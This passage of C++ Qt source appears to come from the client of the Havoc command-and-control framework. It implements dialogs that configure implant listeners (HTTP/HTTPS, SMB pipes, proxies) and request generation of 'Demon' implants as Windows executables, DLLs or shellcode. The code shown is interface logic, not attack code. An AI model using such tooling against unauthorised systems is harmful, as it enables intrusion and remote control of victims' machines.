gridLayout_3->addWidget( LabelUserAgent, 8, 0, 1, 1 ); gridLayout_3->addWidget( ButtonUriGroupClear, 16, 2, 1, 1 ); gridLayout_3->addWidget( ComboHostBind, 5, 1, 1, 2 ); gridLayout_3->addWidget( LabelUris, 15, 0, 1, 1 ); gridLayout_3->addWidget( LabelHostHeader, 19, 0, 1, 1 ); gridLayout_3->addWidget( InputPortBind, 6, 1, 1, 2 ); gridLayout_3->addWidget( InputPortConn, 7, 1, 1, 2 ); gridLayout_3->addWidget( CheckEnableProxy, 20, 0, 1, 3 ); gridLayout_3->addWidget( ButtonHeaderGroupClear, 11, 2, 1, 1 ); gridLayout_3->addWidget( InputHostHeader, 19, 1, 1, 2 ); gridLayout_3->addWidget( LabelHeaders, 10, 0, 1, 1 ); gridLayout_3->addWidget( ButtonHostsGroupAdd, 0, 2, 1, 1 ); gridLayout_3->addWidget( LabelHostBind, 5, 0, 1, 1 ); gridLayout_3->addWidget( InputUserAgent, 8, 1, 1, 2 ); gridLayout_3->addWidget( ButtonUriGroupAdd, 15, 2, 1, 1 ); gridLayout_3->addWidget( HeadersGroup, 10, 1, 3, 1 ); gridLayout_3->addWidget( LabelHosts, 0, 0, 1, 1 ); gridLayout_3->addWidget( ButtonHostsGroupClear, 1, 2, 1, 1 ); gridLayout_3->addWidget( ButtonHeaderGroupAdd, 10, 2, 1, 1 ); gridLayout_3->addWidget( HostsGroup, 0, 1, 4, 1 ); gridLayout_3->addWidget( LabelPortBind, 6, 0, 1, 1 ); gridLayout_3->addWidget( LabelPortConn, 7, 0, 1, 1 ); gridLayout_3->addWidget( ProxyConfigBox, 21, 0, 1, 3 ); gridLayout_3->addWidget( UrisGroup, 15, 1, 3, 1 ); gridLayout_3->addWidget( LabelHostRotation, 4, 0, 1, 1 ); gridLayout_3->addWidget( ComboHostRotation, 4, 1, 1, 2 ); gridLayout_3->addItem( horizontalSpacer_6, 18, 1, 1, 1 ); gridLayout_3->addItem( verticalSpacer, 2, 0, 1, 1 ); gridLayout_3->addItem( verticalSpacerHeader, 12, 0, 1, 1 ); gridLayout_3->addItem( verticalSpacerUris, 17, 0, 1, 1 ); ProxyConfigBox->setEnabled( false ); InputProxyHost->setReadOnly( true ); InputProxyPort->setReadOnly( true ); InputUserName->setReadOnly( true ); InputPassword->setReadOnly( true ); InputProxyHost->setPlaceholderText( "" ); LabelProxyHost->setEnabled( false ); LabelProxyPort->setEnabled( false ); LabelUserName->setEnabled( false ); LabelPassword->setEnabled( false ); auto style = QString( "color: #44475a;" ); LabelProxyType->setStyleSheet( style ); LabelProxyHost->setStyleSheet( style ); LabelProxyPort->setStyleSheet( style ); LabelUserName->setStyleSheet( style ); LabelPassword->setStyleSheet( style ); // Add Pages StackWidgetConfigPages->addWidget( PageHTTP ); StackWidgetConfigPages->addWidget( PageSMB ); StackWidgetConfigPages->addWidget( PageExternal ); ListenerDialog->setWindowTitle( "Create Listener" ); LabelPayload->setText(QCoreApplication::translate("ListenerWidget", "Payload: ", nullptr)); ComboPayload->setItemText(0, QCoreApplication::translate("ListenerWidget", "Https", nullptr)); ComboPayload->setItemText(1, QCoreApplication::translate("ListenerWidget", "Http", nullptr)); ComboPayload->setItemText(2, QCoreApplication::translate("ListenerWidget", "Smb", nullptr)); ComboPayload->setItemText(3, QCoreApplication::translate("ListenerWidget", "External", nullptr)); LabelListenerName->setText(QCoreApplication::translate("ListenerWidget", "Name:", nullptr)); ButtonSave->setText(QCoreApplication::translate("ListenerWidget", "Save", nullptr)); ButtonClose->setText(QCoreApplication::translate("ListenerWidget", "Close", nullptr)); ConfigBox->setTitle(QCoreApplication::translate("ListenerWidget", "Config Options", nullptr)); LabelUserAgent->setText(QCoreApplication::translate("ListenerWidget", "User Agent: ", nullptr)); ButtonUriGroupClear->setText(QCoreApplication::translate("ListenerWidget", "Clear", nullptr)); LabelUris->setText(QCoreApplication::translate("ListenerWidget", "Uris:", nullptr)); LabelHostHeader->setText(QCoreApplication::translate("ListenerWidget", "Host Header: ", nullptr)); CheckEnableProxy->setText(QCoreApplication::translate("ListenerWidget", "Enable Proxy connection", nullptr)); ButtonHeaderGroupClear->setText(QCoreApplication::translate("ListenerWidget", "Clear", nullptr)); LabelHeaders->setText(QCoreApplication::translate("ListenerWidget", "Headers:", nullptr)); ButtonHostsGroupAdd->setText(QCoreApplication::translate("ListenerWidget", "Add", nullptr)); LabelHostBind->setText(QCoreApplication::translate("ListenerWidget", "Host (Bind):", nullptr)); ButtonUriGroupAdd->setText(QCoreApplication::translate("ListenerWidget", "Add", nullptr)); LabelHosts->setText(QCoreApplication::translate("ListenerWidget", "Hosts", nullptr)); ButtonHostsGroupClear->setText(QCoreApplication::translate("ListenerWidget", "Clear", nullptr)); ButtonHeaderGroupAdd->setText(QCoreApplication::translate("ListenerWidget", "Add", nullptr)); LabelPortBind->setText(QCoreApplication::translate("ListenerWidget", "PortBind:", nullptr)); LabelPortConn->setText(QCoreApplication::translate("ListenerWidget", "PortConn:", nullptr)); LabelProxyType->setText(QCoreApplication::translate("ListenerWidget", "Proxy Type:", nullptr)); LabelProxyHost->setText(QCoreApplication::translate("ListenerWidget", "Proxy Host:", nullptr)); LabelProxyPort->setText(QCoreApplication::translate("ListenerWidget", "Proxy Port: ", nullptr)); LabelUserName->setText(QCoreApplication::translate("ListenerWidget", "UserName: ", nullptr)); LabelPassword->setText(QCoreApplication::translate("ListenerWidget", "Password: ", nullptr)); LabelHostRotation->setText(QCoreApplication::translate("ListenerWidget", "Host Rotation: ", nullptr)); LabelPipeName->setText(QCoreApplication::translate("ListenerWidget", "Pipe Name: ", nullptr)); LabelEndpoint->setText(QCoreApplication::translate("ListenerWidget", "Endpoint: ", nullptr)); ComboPayload->addItem( "Https" ); ComboPayload->addItem( "Http" ); ComboPayload->addItem( "Smb" ); ComboPayload->addItem( "External" ); ComboProxyType->addItem( "http" ); ComboProxyType->addItem( "https" ); ComboHostRotation->addItem( "round-robin" ); ComboHostRotation->addItem( "random" ); QObject::connect( ButtonSave, &QPushButton::clicked, this, &NewListener::onButton_Save ); QObject::connect( ButtonClose, &QPushButton::clicked, this, [&]() { this->DialogClosed = true; this->ListenerDialog->close(); // Free(); } ); QObject::connect( ButtonHostsGroupAdd, &QPushButton::clicked, this, [&]() { auto Item = new QLineEdit; Item->setFocus(); if ( HostsData.size() == 0 ) { if ( ! HavocX::Teamserver.IpAddresses.isEmpty() ) { Item->setText( HavocX::Teamserver.IpAddresses[ 0 ] ); } } formLayout_Hosts->setWidget( HostsData.size(), QFormLayout::FieldRole, Item ); HostsData.push_back( Item ); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonHostsGroupClear, &QPushButton::clicked, this, [&]() { for ( auto& uri : HostsData ) delete uri; HostsData.clear(); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonUriGroupAdd, &QPushButton::clicked, this, [&]() { auto Item = new QLineEdit; Item->setFocus(); formLayout_Uri->setWidget( UrisData.size(), QFormLayout::FieldRole, Item ); UrisData.push_back( Item ); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonUriGroupClear, &QPushButton::clicked, this, [&]() { for ( auto& uri : UrisData ) delete uri; UrisData.clear(); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonHeaderGroupAdd, &QPushButton::clicked, this, [&]() { auto Item = new QLineEdit; Item->setFocus(); formLayout_Header->setWidget( HeadersData.size(), QFormLayout::FieldRole, Item ); HeadersData.push_back( Item ); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonHeaderGroupClear, &QPushButton::clicked, this, [&]() { for ( auto& header : HeadersData ) delete header; HeadersData.clear(); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ComboPayload, &QComboBox::currentTextChanged, this, [&]( const QString& text ) { if ( text.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) { StackWidgetConfigPages->setCurrentIndex( 0 ); InputPortBind->setText( "443" ); InputPortConn->setText( "443" ); } else if ( text.compare( HavocSpace::Listener::PayloadHTTP ) == 0 ) { StackWidgetConfigPages->setCurrentIndex( 0 ); InputPortBind->setText( "80" ); InputPortConn->setText( "80" ); } else if ( text.compare( HavocSpace::Listener::PayloadSMB ) == 0 ) { StackWidgetConfigPages->setCurrentIndex( 1 ); } else if ( text.compare( HavocSpace::Listener::PayloadExternal ) == 0 ) { StackWidgetConfigPages->setCurrentIndex( 2 ); } else { for ( const auto& listener : ServiceListeners ) { if ( listener.Name == text.toStdString() ) { StackWidgetConfigPages->setCurrentIndex( listener.Index ); return; } } spdlog::error( "Payload not found" ); } } ); QObject::connect( CheckEnableProxy, &QCheckBox::toggled, this, &NewListener::onProxyEnabled ); QMetaObject::connectSlotsByName( Dialog ); } MapStrStr NewListener::Start( Util::ListenerItem Item, bool Edit ) { auto ListenerInfo = MapStrStr(); auto Payload = QString(); if ( Edit ) { InputListenerName->setText( Item.Name.c_str() ); InputListenerName->setReadOnly( true ); if ( ( Item.Protocol == Listener::PayloadHTTP.toStdString() ) || ( Item.Protocol == Listener::PayloadHTTPS.toStdString() ) ) { if ( Item.Protocol == Listener::PayloadHTTPS.toStdString() ) ComboPayload->setCurrentIndex( 0 ); else ComboPayload->setCurrentIndex( 1 ); ComboPayload->setDisabled( true ); auto Info = any_cast( Item.Info ); ComboHostBind->addItem( Info.HostBind ); ComboHostBind->setDisabled( true ); if ( Info.HostRotation.compare( "round-robin" ) == 0 ) ComboHostRotation->setCurrentIndex( 0 ); else if ( Info.HostRotation.compare( "random" ) == 0 ) ComboHostRotation->setCurrentIndex( 1 ); else ComboHostRotation->setCurrentIndex( 0 ); InputPortBind->setText( Info.PortBind ); InputPortBind->setReadOnly( true ); InputPortConn->setText( Info.PortConn ); InputPortConn->setReadOnly( true ); InputUserAgent->setText( Info.UserAgent ); InputUserAgent->setCursorPosition( 0 ); if ( ! Info.Hosts.empty() ) { for ( const auto& host : Info.Hosts ) { if ( host.isEmpty() ) continue; auto input = new QLineEdit; input->setText( host ); formLayout_Hosts->setWidget( HostsData.size(), QFormLayout::FieldRole, input ); HostsData.push_back( input ); } } if ( ! Info.Headers.empty() ) { for ( const auto& header : Info.Headers ) { if ( header.isEmpty() ) continue; auto input = new QLineEdit; input->setText( header ); formLayout_Header->setWidget( HeadersData.size(), QFormLayout::FieldRole, input ); HeadersData.push_back( input ); } } if ( ! Info.Uris.empty() ) { for ( const auto& uri : Info.Uris ) { if ( uri.isEmpty() ) continue; auto input = new QLineEdit; input->setText(uri ); formLayout_Uri->setWidget(UrisData.size(), QFormLayout::FieldRole, input ); UrisData.push_back(input ); } } InputHostHeader->setText( Info.HostHeader ); if ( Info.ProxyEnabled.compare( "true" ) == 0 ) CheckEnableProxy->setCheckState( Qt::CheckState::Checked ); else CheckEnableProxy->setCheckState( Qt::CheckState::Unchecked ); if ( Info.ProxyType.compare( "http" ) == 0 ) ComboProxyType->setCurrentIndex( 0 ); else ComboProxyType->setCurrentIndex( 1 ); InputProxyHost->setText( Info.ProxyHost ); InputProxyPort->setText( Info.ProxyPort ); InputUserName->setText( Info.ProxyUsername ); InputPassword->setText( Info.ProxyPassword ); } else if ( Item.Protocol == Listener::PayloadSMB.toStdString() ) { ComboPayload->setCurrentIndex( 2 ); auto Info = any_cast( Item.Info ); InputPipeName->setText( Info.PipeName ); InputPipeName->setReadOnly( true ); } else if ( Item.Protocol == Listener::PayloadExternal.toStdString() ) { ComboPayload->setCurrentIndex( 3 ); auto Info = any_cast( Item.Info ); InputEndpoint->setText( Info.Endpoint ); InputEndpoint->setReadOnly( true ); } else { // we assume that it's a service listener for ( const auto& listener : ServiceListeners ) { if ( listener.Name == Item.Protocol ) { auto ListenerConfiguration = json::parse( any_cast( Item.Info )[ "Info" ] ); ComboPayload->setCurrentIndex( listener.Index + 1 ); /* TODO: iterate over ServiceListeners and check what has been set * and blah blah blah just set everything based on the specified object * and check if its editable etc. */ for ( const auto& item : listener.Items ) { auto object = item[ "object" ].get(); auto editable = item[ "editable" ].get(); auto value = QString(); value = QString( ListenerConfiguration[ item[ "name" ] ].get().c_str() ); /* if object type is "input" */ if ( object == "input" ) { auto Line = ( ( QLineEdit* ) item[ "Line" ].get<::uint64_t>() ); Line->setText( value ); if ( ! editable ) Line->setReadOnly( true ); } } } } } ListenerDialog->setWindowTitle( "Edit Listener" ); ComboPayload->setDisabled( true ); } ListenerDialog->exec(); Payload = ComboPayload->currentText(); ListenerInfo.insert( { "Name", InputListenerName->text().toStdString() } ); ListenerInfo.insert( { "Protocol", ComboPayload->currentText().toStdString() } ); ListenerInfo.insert( { "Status", "online" } ); if ( ( Payload.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) || ( Payload.compare( HavocSpace::Listener::PayloadHTTP ) == 0 ) ) { auto Hosts = std::string(); auto Headers = std::string(); auto Uris = std::string(); if ( Payload.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) ListenerInfo.insert( { "Secure", "true" } ); else ListenerInfo.insert( { "Secure", "false" } ); if ( ! HostsData.empty() ) { for ( u32 i = 0; i < HostsData.size(); ++i ) { if ( i == ( HostsData.size() - 1 ) ) Hosts += HostsData.at( i )->text().toStdString(); else Hosts += HostsData.at( i )->text().toStdString() + ", "; delete HostsData.at( i ); } } else { Hosts = ComboHostBind->currentText().toStdString(); } if ( ! HeadersData.empty() ) { for ( u32 i = 0; i < HeadersData.size(); ++i ) { if ( i == ( HeadersData.size() - 1 ) ) Headers += HeadersData.at( i )->text().toStdString(); else Headers += HeadersData.at( i )->text().toStdString() + ", "; delete HeadersData.at( i ); } } if ( ! UrisData.empty() ) { for ( u32 i = 0; i < UrisData.size(); ++i ) { if ( i == ( UrisData.size() - 1 ) ) Uris += UrisData.at( i )->text().toStdString(); else Uris += UrisData.at( i )->text().toStdString() + ", "; delete UrisData.at( i ); } } ListenerInfo.insert( { "Hosts", Hosts } ); ListenerInfo.insert( { "HostBind", ComboHostBind->currentText().toStdString() } ); ListenerInfo.insert( { "HostRotation", ComboHostRotation->currentText().toStdString() } ); ListenerInfo.insert( { "PortBind", InputPortBind->text().toStdString() } ); ListenerInfo.insert( { "PortConn", InputPortConn->text().toStdString() } ); ListenerInfo.insert( { "Headers", Headers } ); ListenerInfo.insert( { "Uris", Uris } ); ListenerInfo.insert( { "UserAgent", InputUserAgent->text().toStdString() } ); ListenerInfo.insert( { "HostHeader", InputHostHeader->text().toStdString() } ); ListenerInfo.insert( { "Proxy Enabled", CheckEnableProxy->isChecked() ? "true" : "false" } ); if ( CheckEnableProxy->isChecked() ) { ListenerInfo.insert( { "Proxy Type", ComboProxyType->currentText().toStdString() } ); ListenerInfo.insert( { "Proxy Host", InputProxyHost->text().toStdString() } ); ListenerInfo.insert( { "Proxy Port", InputProxyPort->text().toStdString() } ); ListenerInfo.insert( { "Proxy Username", InputUserName->text().toStdString() } ); ListenerInfo.insert( { "Proxy Password", InputPassword->text().toStdString() } ); } } else if ( Payload.compare( HavocSpace::Listener::PayloadSMB ) == 0 ) { ListenerInfo.insert( { "PipeName", InputPipeName->text().toStdString() } ); } else if ( Payload.compare( HavocSpace::Listener::PayloadExternal ) == 0 ) { for ( auto& Listener : HavocX::Teamserver.Listeners ) { if ( Listener.Protocol == HavocSpace::Listener::PayloadExternal.toStdString() ) { if ( any_cast( Listener.Info ).Endpoint.compare( InputEndpoint->text() ) == 0 ) { MessageBox( "Listener Error", "Listener External: Endpoint already registered.", QMessageBox::Icon::Critical ); return MapStrStr{}; } } } ListenerInfo.insert( { "Endpoint", InputEndpoint->text().toStdString() } ); } else { for ( const auto& listener : ServiceListeners ) { if ( listener.Name == Payload.toStdString() ) { auto Listener = MapStrStr{ { "Name", InputListenerName->text().toStdString() }, { "Protocol", listener.Name }, { "ClientUser", HavocX::Teamserver.User.toStdString() }, }; for ( const auto& item : listener.Items ) { auto object = QString( item[ "object" ].get().c_str() ); if ( object == "input" ) { auto Name = item[ "name" ].get(); auto Line = ( QLineEdit* ) item[ "Line" ].get<::uint64_t>(); Listener.insert( { Name, Line->text().toStdString() } ); } } return Listener; } } spdlog::error( "Payload not found" ); return {}; } return ListenerInfo; } auto NewListener::ListenerCustomAdd( QString Json ) -> bool { if ( Json.isEmpty() ) return false; auto Listener = json::parse( Json.toStdString() ); auto Page = ( QWidget* ) nullptr; auto Layout = ( QFormLayout* ) nullptr; auto Service = ServiceListener(); Page = new QWidget; Layout = new QFormLayout( Page ); Service = { .Name = Listener[ "Name" ], .Page = Page, .Layout = Layout, .Index = StackWidgetConfigPages->count() }; for ( auto Item : Listener[ "Items" ] ) { if ( Item[ "object" ] == "input" ) { auto Label = new QLabel( Page ); auto Line = new QLineEdit( Page ); auto index = Service.Items.size(); Label->setText( Item[ "text" ].get().c_str() ); Line->setPlaceholderText( Item[ "placeholder" ].get().c_str() ); Layout->setWidget( index, QFormLayout::LabelRole, Label ); Layout->setWidget( index, QFormLayout::FieldRole, Line ); Service.Items.push_back( { { "name", Item[ "name" ] }, { "object", Item[ "object" ] }, { "required", Item[ "required" ] }, { "editable", Item[ "editable" ] }, { "Label", ( uint64_t ) Label }, { "Line", ( uint64_t ) Line }, } ); } } ServiceListeners.push_back( Service ); ComboPayload->addItem( Service.Name.c_str() ); StackWidgetConfigPages->addWidget( Page ); /* check if we already registered this listener */ for ( auto& x : HavocX::Teamserver.RegisteredListeners ) { if ( x[ "Name" ] == Listener[ "Name" ] ) return false; } /* if not then lets add it. */ HavocX::Teamserver.RegisteredListeners.push_back( Listener ); return true; } void HavocNamespace::UserInterface::Dialogs::NewListener::onButton_Save() { auto Payload = ComboPayload->currentText(); if ( ( Payload.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) || ( Payload.compare( HavocSpace::Listener::PayloadHTTP ) == 0 ) ) { if ( InputListenerName->text().isEmpty() ) { MessageBox( "Listener Error", "No Listener Name specified", QMessageBox::Critical ); return; } if ( InputPortBind->text().isEmpty() ) { MessageBox( "Listener Error", "No PortBind specified", QMessageBox::Critical ); return; } else { if ( ! is_number( InputPortBind->text().toStdString() ) ) { MessageBox( "Listener Error", "PortBind is not a number", QMessageBox::Critical ); return; } } if ( InputPortConn->text().isEmpty() ) { MessageBox( "Listener Error", "No PortConn specified", QMessageBox::Critical ); return; } else { if ( ! is_number( InputPortConn->text().toStdString() ) ) { MessageBox( "Listener Error", "PortConn is not a number", QMessageBox::Critical ); return; } } if ( InputUserAgent->text().isEmpty() ) { MessageBox( "Listener Error", "No UserAgent specified", QMessageBox::Critical ); return; } if ( CheckEnableProxy->isChecked() ) { if ( InputProxyHost->text().isEmpty() ) { MessageBox( "Listener Error", "No Proxy Host specified", QMessageBox::Critical ); return; } if ( InputProxyPort->text().isEmpty() ) { MessageBox( "Listener Error", "No Proxy Port specified", QMessageBox::Critical ); return; } else { if ( ! is_number( InputProxyPort->text().toStdString() ) ) { MessageBox( "Listener Error", "Port is not a number", QMessageBox::Critical ); return; } } } } else if ( Payload.compare( HavocSpace::Listener::PayloadSMB ) == 0 ) { if ( InputPipeName->text().isEmpty() ) { MessageBox( "Listener Error", "No Pipe name specified", QMessageBox::Critical ); return; } } else if ( Payload.compare( HavocSpace::Listener::PayloadExternal ) == 0 ) { if ( InputEndpoint->text().isEmpty() ) { MessageBox( "Listener Error", "No Endpoint specified", QMessageBox::Critical ); return; } } else { for ( const auto& listener : ServiceListeners ) { if ( Payload.compare( listener.Name.c_str() ) == 0 ) { for ( auto item : listener.Items ) { auto object = item[ "object" ].get(); /* if object type is "input" */ if ( object == "input" ) { auto Line = ( ( QLineEdit* ) item[ "Line" ].get<::uint64_t>() ); /* if the operator didn't specify a value that is required then let that operator know. */ if ( item[ "required" ].get() && Line->text().isEmpty() ) { auto itemName = QString( item[ "name" ].get().c_str() ); MessageBox( "Listener Error", "No " + itemName + " specified", QMessageBox::Critical ); return; } } } } } } this->DialogSaved = true; this->ListenerDialog->close(); } void HavocNamespace::UserInterface::Dialogs::NewListener::onProxyEnabled() { if ( CheckEnableProxy->isChecked() ) { ProxyConfigBox->setEnabled( true ); auto style = QString( "color: #f8f8f2;" ); LabelProxyType->setStyleSheet( style ); LabelProxyHost->setStyleSheet( style ); LabelProxyPort->setStyleSheet( style ); LabelUserName->setStyleSheet( style ); LabelPassword->setStyleSheet( style ); InputProxyHost->setReadOnly( false ); InputProxyPort->setReadOnly( false ); InputUserName->setReadOnly( false ); InputPassword->setReadOnly( false ); LabelProxyHost->setEnabled( false ); LabelProxyPort->setEnabled( false ); LabelUserName->setEnabled( false ); LabelPassword->setEnabled( false ); } else { ProxyConfigBox->setEnabled( false ); auto style = QString( "color: #44475a;" ); LabelProxyType->setStyleSheet( style ); LabelProxyHost->setStyleSheet( style ); LabelProxyPort->setStyleSheet( style ); LabelUserName->setStyleSheet( style ); LabelPassword->setStyleSheet( style ); InputProxyHost->setReadOnly( true ); InputProxyPort->setReadOnly( true ); InputUserName->setReadOnly( true ); InputPassword->setReadOnly( true ); LabelProxyHost->setEnabled( true ); LabelProxyPort->setEnabled( true ); LabelUserName->setEnabled( true ); LabelPassword->setEnabled( true ); } } auto NewListener::Free() -> void { for ( auto listener : ServiceListeners ) { for ( auto item : listener.Items ) { // delete ( QLabel* ) listener.Items[ item ][ "Label" ].get(); // delete ( QLineEdit* ) listener.Items[ item ][ "Line" ].get(); } delete listener.Layout; delete listener.Page; } } ================================================ FILE: client/src/UserInterface/Dialogs/Payload.cc ================================================ #include #include #include #include #include #include #include #include #include #include #include using namespace std; void Payload::setupUi( QDialog* Dialog ) { PayloadDialog = Dialog; if ( PayloadDialog->objectName().isEmpty() ) PayloadDialog->setObjectName( QString::fromUtf8( "PayloadDialog" ) ); PayloadDialog->resize( 550, 660 ); gridLayout_3 = new QGridLayout( PayloadDialog ); OptionsBox = new QGroupBox( PayloadDialog ); gridLayout_2 = new QGridLayout( OptionsBox ); ComboListener = new QComboBox( OptionsBox ); horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_3 = new QSpacerItem( 40, 5, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_4 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_5 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_6 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_7 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout_3->setObjectName( QString::fromUtf8( "gridLayout_3" ) ); OptionsBox->setObjectName( QString::fromUtf8( "OptionsBox" ) ); gridLayout_2->setObjectName( QString::fromUtf8( "gridLayout_2" ) ); ComboListener->setObjectName( QString::fromUtf8( "ComboListener" ) ); gridLayout_2->addWidget( ComboListener, 0, 1, 1, 1 ); LabelListener = new QLabel( OptionsBox ); LabelListener->setObjectName( QString::fromUtf8( "LabelListener" ) ); gridLayout_2->addWidget( LabelListener, 0, 0, 1, 1 ); ComboFormat = new QComboBox( OptionsBox ); ComboFormat->setObjectName( QString::fromUtf8( "ComboFormat" ) ); gridLayout_2->addWidget( ComboFormat, 2, 1, 1, 1 ); ComboArch = new QComboBox( OptionsBox ); ComboArch->setObjectName( QString::fromUtf8( "ComboArch" ) ); gridLayout_2->addWidget( ComboArch, 1, 1, 1, 1 ); LabelArch = new QLabel( OptionsBox ); LabelArch->setObjectName( QString::fromUtf8( "LabelArch" ) ); gridLayout_2->addWidget( LabelArch, 1, 0, 1, 1 ); LabelFormat = new QLabel( OptionsBox ); LabelFormat->setObjectName( QString::fromUtf8( "LabelFormat" ) ); gridLayout_2->addWidget( LabelFormat, 2, 0, 1, 1 ); gridLayout_2->addItem( horizontalSpacer_3, 3, 1, 1, 1 ); TreeConfig = new QTreeWidget( OptionsBox ); TreeConfig->headerItem()->setText( 0, "Config" ); TreeConfig->headerItem()->setText( 1, "Value" ); TreeConfig->header()->resizeSection( 0, 155 ); gridLayout_2->addWidget( TreeConfig, 4, 0, 1, 2 ); gridLayout_3->addWidget( OptionsBox, 1, 0, 1, 8 ); gridLayout_3->addItem( horizontalSpacer_5, 4, 4, 1, 1 ); gridLayout_3->addItem( horizontalSpacer_2, 4, 6, 1, 1 ); ButtonGenerate = new QPushButton( PayloadDialog ); ButtonGenerate->setObjectName( QString::fromUtf8( "ButtonGenerate" ) ); gridLayout_3->addWidget( ButtonGenerate, 4, 3, 1, 1 ); gridLayout_3->addItem( horizontalSpacer_6, 4, 1, 1, 1 ); gridLayout_3->addItem( horizontalSpacer, 4, 0, 1, 1 ); gridLayout_3->addItem( horizontalSpacer_4, 4, 2, 1, 1 ); LabelAgentType = new QLabel( PayloadDialog ); LabelAgentType->setObjectName( QString::fromUtf8( "LabelAgentType" ) ); gridLayout_3->addWidget( LabelAgentType, 0, 0, 1, 1 ); BuildConsoleBox = new QGroupBox( PayloadDialog ); BuildConsoleBox->setObjectName( QString::fromUtf8( "BuildConsoleBox" ) ); gridLayout = new QGridLayout( BuildConsoleBox ); gridLayout->setSpacing( 3 ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); gridLayout->setContentsMargins( 3, 3, 3, 3 ); ConsoleText = new QTextEdit( BuildConsoleBox ); ConsoleText->setObjectName( QString::fromUtf8( "ConsoleText" ) ); ConsoleText->setReadOnly( true ); gridLayout->addWidget( ConsoleText, 0, 0, 1, 1 ); gridLayout_3->addWidget( BuildConsoleBox, 3, 0, 1, 8 ); gridLayout_3->addItem( horizontalSpacer_7, 4, 5, 1, 1 ); ComboAgentType = new QComboBox( PayloadDialog ); ComboAgentType->setObjectName( QString::fromUtf8( "ComboAgentType" ) ); gridLayout_3->addWidget( ComboAgentType, 0, 1, 1, 7 ); retranslateUi( ); connect( ButtonGenerate, &QPushButton::clicked, this, &Payload::buttonGenerate ); connect( ComboAgentType, &QComboBox::currentTextChanged, this, &Payload::CtxAgentPayloadChange ); connect( ComboFormat, &QComboBox::currentTextChanged, this, [&]( const QString& text ){ // only add config if our agent type is the default one (demon) if ( ComboAgentType->currentText().compare( "Demon" ) == 0 ) DefaultConfig(); } ); QMetaObject::connectSlotsByName( PayloadDialog ); } auto Payload::retranslateUi() -> void { PayloadDialog->setStyleSheet( FileRead( ":/stylesheets/Dialogs/BasicDialog" ) ); PayloadDialog->setWindowTitle( QCoreApplication::translate( "PayloadDialog", "Payload", nullptr ) ); OptionsBox->setTitle( QCoreApplication::translate( "PayloadDialog", "Options", nullptr ) ); if ( HavocX::Teamserver.Listeners.size() > 0 ) { ComboListener->setDisabled( false ); for ( auto& Listener : HavocX::Teamserver.Listeners ) { if ( Listener.Status.compare( "Offline" ) != 0 ) ComboListener->addItem( Listener.Name.c_str() ); } } else { ComboListener->addItem( "[ Empty ]" ); ComboListener->setDisabled( true ); } LabelListener->setText( QCoreApplication::translate( "PayloadDialog", "Listener: ", nullptr ) ); DefaultConfig(); ComboFormat->addItem( "Windows Exe" ); ComboFormat->addItem( "Windows Dll" ); ComboFormat->addItem( "Windows Shellcode" ); ComboArch->addItem( "x64" ); ComboArch->addItem( "x86" ); ComboAgentType->addItem( "Demon" ); for ( auto& Agents : HavocX::Teamserver.ServiceAgents ) ComboAgentType->addItem( Agents.Name ); LabelArch->setText( QCoreApplication::translate( "PayloadDialog", "Arch", nullptr ) ); LabelFormat->setText( QCoreApplication::translate( "PayloadDialog", "Format", nullptr ) ); ButtonGenerate->setText( QCoreApplication::translate( "PayloadDialog", "Generate", nullptr ) ); ButtonGenerate->setStyleSheet( "padding-top: 5px;" "padding-bottom: 5px;" "padding-left: 10px;" "padding-right: 10px;" ); LabelAgentType->setText( QCoreApplication::translate( "PayloadDialog", "Agent:", nullptr ) ); BuildConsoleBox->setTitle( QCoreApplication::translate( "PayloadDialog", "Building Console", nullptr ) ); BuildConsoleBox->setStyleSheet( "border: 1px solid #282a36;" ); } void Payload::buttonGenerate() { if ( HavocX::Teamserver.Listeners.size() == 0 ) { auto messageBox = QMessageBox( ); messageBox.setWindowTitle( "Payload Generator Error" ); messageBox.setText( "No Listener specified/available" ); messageBox.setIcon( QMessageBox::Critical ); messageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); messageBox.setMaximumSize( QSize(500, 500 ) ); messageBox.exec(); return; } else { for ( auto& listener : HavocX::Teamserver.Listeners ) { if ( ComboListener->currentText().toStdString() == listener.Name ) { if ( listener.Status.compare( "Offline" ) == 0 ) { MessageBox( "Payload Generator Error", "Selected listener is offline", QMessageBox::Critical ); return; } } } } ConsoleText->clear(); auto Config = GetConfigAsJson().toJson().toStdString(); auto Package = new Util::Packager::Package; auto Head = Util::Packager::Head_t { .Event = Util::Packager::Gate::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), .OneTime = "true", }; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Gate::Stageless, .Info = { { "AgentType", this->ComboAgentType->currentText().toStdString() }, { "Listener", this->ComboListener->currentText().toStdString() }, { "Arch", this->ComboArch->currentText().toStdString() }, { "Format", this->ComboFormat->currentText().toStdString() }, { "Config", Config }, }, }; Package->Head = Head; Package->Body = Body; HavocX::GateGUI = true; HavocX::Connector->SendPackage( Package ); } auto Payload::ReceivedImplantAndSave( QString FileName, QByteArray ImplantArray ) -> void { auto FileDialog = QFileDialog(); auto Filename = QUrl(); auto Style = FileRead( ":/stylesheets/Dialogs/FileDialog" ).toStdString(); Style.erase( std::remove( Style.begin(), Style.end(), '\n' ), Style.end() ); FileDialog.setStyleSheet( Style.c_str() ); 